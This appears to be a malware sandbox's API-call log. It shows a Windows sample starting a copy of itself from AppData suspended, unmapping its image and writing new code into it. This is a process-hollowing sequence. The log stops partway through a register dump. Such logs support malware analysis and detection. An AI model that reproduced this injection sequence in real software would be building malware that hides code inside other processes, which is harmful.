[0192.755] GetCurrentProcess () returned 0xffffffff [0192.755] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.755] GetSystemDefaultLangID () returned 0x25c0409 [0192.755] GetThreadLocale () returned 0x409 [0192.756] GetCurrentProcess () returned 0xffffffff [0192.756] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.756] GetSystemDefaultLangID () returned 0x25c0409 [0192.756] GetThreadLocale () returned 0x409 [0192.756] GetCurrentProcess () returned 0xffffffff [0192.756] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.756] GetSystemDefaultLangID () returned 0x25c0409 [0192.756] GetThreadLocale () returned 0x409 [0192.756] GetCurrentProcess () returned 0xffffffff [0192.756] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.756] GetSystemDefaultLangID () returned 0x25c0409 [0192.756] GetThreadLocale () returned 0x409 [0192.756] GetCurrentProcess () returned 0xffffffff [0192.756] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.756] GetSystemDefaultLangID () returned 0x25c0409 [0192.756] GetThreadLocale () returned 0x409 [0192.756] GetCurrentProcess () returned 0xffffffff [0192.756] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.756] GetSystemDefaultLangID () returned 0x25c0409 [0192.756] GetThreadLocale () returned 0x409 [0192.756] GetCurrentProcess () returned 0xffffffff [0192.756] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.756] GetSystemDefaultLangID () returned 0x25c0409 [0192.756] GetThreadLocale () returned 0x409 [0192.756] GetCurrentProcess () returned 0xffffffff [0192.756] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.756] GetSystemDefaultLangID () returned 0x25c0409 [0256.121] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76720000 [0256.123] LocalAlloc (uFlags=0x0, uBytes=0xf750) returned 0x25d1c28 [0256.124] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76720000 [0256.124] GetProcAddress (hModule=0x76720000, lpProcName="VirtualProtect") returned 0x76737a50 [0256.125] VirtualProtect (in: lpAddress=0x25d1c28, dwSize=0xf750, flNewProtect=0x40, lpflOldProtect=0x19e81c | out: lpflOldProtect=0x19e81c*=0x4) returned 1 [0260.845] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76720000 [0260.846] GetProcAddress (hModule=0x76720000, lpProcName="GlobalAlloc") returned 0x76739950 [0260.846] GetProcAddress (hModule=0x76720000, lpProcName="GetLastError") returned 0x76733870 [0260.846] GetProcAddress (hModule=0x76720000, lpProcName="Sleep") returned 0x76737990 [0260.846] GetProcAddress (hModule=0x76720000, lpProcName="VirtualAlloc") returned 0x76737810 [0260.847] GetProcAddress (hModule=0x76720000, lpProcName="CreateToolhelp32Snapshot") returned 0x76747b50 [0260.847] GetProcAddress (hModule=0x76720000, lpProcName="Module32First") returned 0x767644b0 [0260.847] GetProcAddress (hModule=0x76720000, lpProcName="CloseHandle") returned 0x76746630 [0260.848] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0xac [0260.853] Module32First (hSnapshot=0xac, lpme=0x19f1dc) returned 1 [0260.854] VirtualAlloc (lpAddress=0x0, dwSize=0x89a0, flAllocationType=0x1000, flProtect=0x40) returned 0x1c0000 [0260.855] LoadLibraryA (lpLibFileName="user32") returned 0x743d0000 [0260.856] GetProcAddress (hModule=0x743d0000, lpProcName="MessageBoxA") returned 0x7444fec0 [0260.856] GetProcAddress (hModule=0x743d0000, lpProcName="GetMessageExtraInfo") returned 0x74403690 [0260.856] LoadLibraryA (lpLibFileName="kernel32") returned 0x76720000 [0260.856] GetProcAddress (hModule=0x76720000, lpProcName="WinExec") returned 0x7675ff70 [0260.856] GetProcAddress (hModule=0x76720000, lpProcName="CreateFileA") returned 0x76746880 [0260.856] GetProcAddress (hModule=0x76720000, lpProcName="WriteFile") returned 0x76746ca0 [0260.856] GetProcAddress (hModule=0x76720000, lpProcName="CloseHandle") returned 0x76746630 [0260.856] GetProcAddress (hModule=0x76720000, lpProcName="CreateProcessA") returned 0x76760750 [0260.856] GetProcAddress (hModule=0x76720000, lpProcName="GetThreadContext") returned 0x7673ec60 [0260.856] GetProcAddress (hModule=0x76720000, lpProcName="VirtualAlloc") returned 0x76737810 [0260.856] GetProcAddress (hModule=0x76720000, lpProcName="VirtualAllocEx") returned 0x76762730 [0260.856] GetProcAddress (hModule=0x76720000, lpProcName="VirtualFree") returned 0x76737600 [0260.857] GetProcAddress (hModule=0x76720000, lpProcName="ReadProcessMemory") returned 0x76761c80 [0260.857] GetProcAddress (hModule=0x76720000, lpProcName="WriteProcessMemory") returned 0x76762850 [0260.857] GetProcAddress (hModule=0x76720000, lpProcName="SetThreadContext") returned 0x76762490 [0260.857] GetProcAddress (hModule=0x76720000, lpProcName="ResumeThread") returned 0x7673a800 [0260.857] GetProcAddress (hModule=0x76720000, lpProcName="WaitForSingleObject") returned 0x76746820 [0260.857] GetProcAddress (hModule=0x76720000, lpProcName="GetModuleFileNameA") returned 0x7673a720 [0260.857] GetProcAddress (hModule=0x76720000, lpProcName="GetCommandLineA") returned 0x7673ab60 [0260.857] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x771d0000 [0260.857] GetProcAddress (hModule=0x771d0000, lpProcName="NtUnmapViewOfSection") returned 0x77246f40 [0260.858] GetProcAddress (hModule=0x771d0000, lpProcName="NtWriteVirtualMemory") returned 0x77247040 [0260.858] GetProcAddress (hModule=0x743d0000, lpProcName="RegisterClassExA") returned 0x74404e90 [0260.858] GetProcAddress (hModule=0x743d0000, lpProcName="CreateWindowExA") returned 0x74406f30 [0260.858] GetProcAddress (hModule=0x743d0000, lpProcName="PostMessageA") returned 0x743ff0e0 [0260.858] GetProcAddress (hModule=0x743d0000, lpProcName="GetMessageA") returned 0x743fe130 [0260.858] GetProcAddress (hModule=0x743d0000, lpProcName="DefWindowProcA") returned 0x7725aed0 [0260.858] GetProcAddress (hModule=0x76720000, lpProcName="GetFileAttributesA") returned 0x76746a20 [0260.858] GetProcAddress (hModule=0x76720000, lpProcName="GetStartupInfoA") returned 0x76739c10 [0260.858] GetProcAddress (hModule=0x76720000, lpProcName="VirtualProtectEx") returned 0x76762790 [0260.858] GetProcAddress (hModule=0x76720000, lpProcName="ExitProcess") returned 0x76747b30 [0260.858] GetFileAttributesA (lpFileName="apfHQ" (normalized: "c:\\windows\\syswow64\\apfhq")) returned 0xffffffff [0260.862] GetFileAttributesA (lpFileName="apfHQ" (normalized: "c:\\windows\\syswow64\\apfhq")) returned 0xffffffff [0260.862] GetFileAttributesA (lpFileName="apfHQ" (normalized: "c:\\windows\\syswow64\\apfhq")) returned 0xffffffff [0260.862] RegisterClassExA (param_1=0x19ee98) returned 0xc1e8 [0260.863] CreateWindowExA (dwExStyle=0x200, lpClassName="saodkfnosa9uin", lpWindowName="mfoaskdfnoa", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=1000, nHeight=1000, hWndParent=0x0, hMenu=0x0, hInstance=0x0, lpParam=0x0) returned 0x140358 [0271.587] PostMessageA (hWnd=0x140358, Msg=0x400, wParam=0x64, lParam=0x1f4) returned 1 [0271.587] GetMessageA (in: lpMsg=0x19eec8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19eec8) returned 1 [0271.587] VirtualAlloc (lpAddress=0x0, dwSize=0x2800, flAllocationType=0x1000, flProtect=0x4) returned 0x1e0000 [0271.587] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e0000, nSize=0x2800 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih")) returned 0x2d [0271.588] GetStartupInfoA (in: lpStartupInfo=0x19edec | out: lpStartupInfo=0x19edec*(cb=0x44, lpReserved="", lpDesktop="winsta0\\default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x80, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0271.588] GetCommandLineA () returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" [0271.588] CreateProcessA (in: lpApplicationName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih", lpCommandLine="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000004, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19edec*(cb=0x44, lpReserved="", lpDesktop="winsta0\\default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x80, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff), lpProcessInformation=0x19ee44 | out: lpCommandLine="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih", lpProcessInformation=0x19ee44*(hProcess=0x110, hThread=0x10c, dwProcessId=0x111c, dwThreadId=0x678)) returned 1 [0283.396] VirtualFree (lpAddress=0x1e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0283.397] VirtualAlloc (lpAddress=0x0, dwSize=0x4, flAllocationType=0x1000, flProtect=0x4) returned 0x1e0000 [0283.397] GetThreadContext (in: hThread=0x10c, lpContext=0x1e0000 | out: lpContext=0x1e0000*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x2f4000, Edx=0x0, Ecx=0x0, Eax=0x416767, Ebp=0x0, Eip=0x77248fe0, SegCs=0x23, EFlags=0x202, Esp=0x19fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0283.441] ReadProcessMemory (in: hProcess=0x110, lpBaseAddress=0x2f4008, lpBuffer=0x19ee38, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x19ee38*, lpNumberOfBytesRead=0x0) returned 1 [0283.442] NtUnmapViewOfSection (ProcessHandle=0x110, BaseAddress=0x400000) returned 0x0 [0289.380] VirtualAllocEx (hProcess=0x110, lpAddress=0x400000, dwSize=0x9000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000 [0289.380] NtWriteVirtualMemory (in: ProcessHandle=0x110, BaseAddress=0x400000, Buffer=0x1c15a0*, NumberOfBytesToWrite=0x200, NumberOfBytesWritten=0x0 | out: Buffer=0x1c15a0*, NumberOfBytesWritten=0x0) returned 0x0 [0289.383] NtWriteVirtualMemory (in: ProcessHandle=0x110, BaseAddress=0x401000, Buffer=0x1c17a0*, NumberOfBytesToWrite=0x7200, NumberOfBytesWritten=0x0 | out: Buffer=0x1c17a0*, NumberOfBytesWritten=0x0) returned 0x0 [0289.386] WriteProcessMemory (in: hProcess=0x110, lpBaseAddress=0x2f4008, lpBuffer=0x1c1654*, nSize=0x4, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x1c1654*, lpNumberOfBytesWritten=0x0) returned 1 [0289.388] SetThreadContext (hThread=0x10c, lpContext=0x1e0000*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x2f4000, Edx=0x0, Ecx=0x0, Eax=0x402dd8, Ebp=0x0, Eip=0x77248fe0, SegCs=0x23, EFlags=0x202, Esp=0x19fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, 